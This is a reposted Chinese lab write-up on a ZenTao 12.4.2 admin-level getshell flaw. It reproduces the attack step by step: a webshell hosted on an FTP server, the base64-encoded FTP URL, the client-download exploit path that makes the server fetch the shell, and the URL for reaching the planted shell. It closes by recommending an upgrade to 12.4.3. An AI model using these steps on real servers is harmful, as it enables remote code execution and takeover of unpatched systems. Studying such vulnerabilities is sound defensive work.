首页 > 运维 > 安全 > 正文

禅道12.4.2后台管理员权限Getshell是怎样的

WBOY
发布: 2023-05-16 15:43:12
转载
1840人浏览过

0x00简介

禅道是一款专业的国产开源研发项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程。管理思想基于国际流行的敏捷项目管理方法——Scrum,在遵循其价值观的基础上,结合国内项目研发现状,整合了任务管理、需求管理、Bug管理、用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。

0x01漏洞概述

禅道12.4.2版本存在任意文件下载漏洞,该漏洞是因为client类中download方法中过滤不严谨可以使用ftp达成下载文件的目的。且下载文件存储目录可解析php文件,造成getshell。

0x02影响版本

禅道≤ 12.4.2

0x03环境搭建

phpstudy2018 + 禅道12.4.2  禅道官方下载地址:

https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html

3.1. 下载完成后,放入phpstudy中安装即可

禅道12.4.2后台管理员权限getshell是怎样的

3.2. 检查扩展,要是存在未通过的扩展,在phpstudy中开启扩展即可。

禅道12.4.2后台管理员权限Getshell是怎样的

3.3.设置数据库信息,这里设置成自己的数据库配置。

禅道12.4.2后台管理员权限Getshell是怎样的

3.4.设置账号安装完成

禅道12.4.2后台管理员权限Getshell是怎样的

3.4.利用环境搭建,开启ftp服务,以windows2008R2为例,在添加角色,添加ftp

禅道12.4.2后台管理员权限Getshell是怎样的

禅道12.4.2后台管理员权限Getshell是怎样的

3.5.然后在Internet信息服务下的网站添加ftp服务。

禅道12.4.2后台管理员权限Getshell是怎样的

3.6.根据自己的情况配置,下一步即可

禅道12.4.2后台管理员权限Getshell是怎样的

禅道12.4.2后台管理员权限Getshell是怎样的

禅道12.4.2后台管理员权限Getshell是怎样的

3.7.在ftp目录下放一个webshell然后浏览器查看ftp是否可以正常访问

禅道12.4.2后台管理员权限Getshell是怎样的

0x04漏洞复现

1.首先把ftp加上shell的路径进行base64编码

加密前: ftp://192.168.3.200/shell.php

加密后: ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==

2.使用EXP,把加密后的base64放入exp中的里

http://127.0.0.1/zentaopms/www/index.php/client-download-1--1.html

禅道12.4.2后台管理员权限Getshell是怎样的

禅道12.4.2后台管理员权限Getshell是怎样的

3.使用以下链接路径测试是否shell已下载到服务器

http://192.168.3.200/zentaopms/www/data/client/1/shell.php

禅道12.4.2后台管理员权限Getshell是怎样的

0x05修复方式

1、升级到禅道12.4.3及之后的版本

以上就是禅道12.4.2后台管理员权限Getshell是怎样的的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:亿速云网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号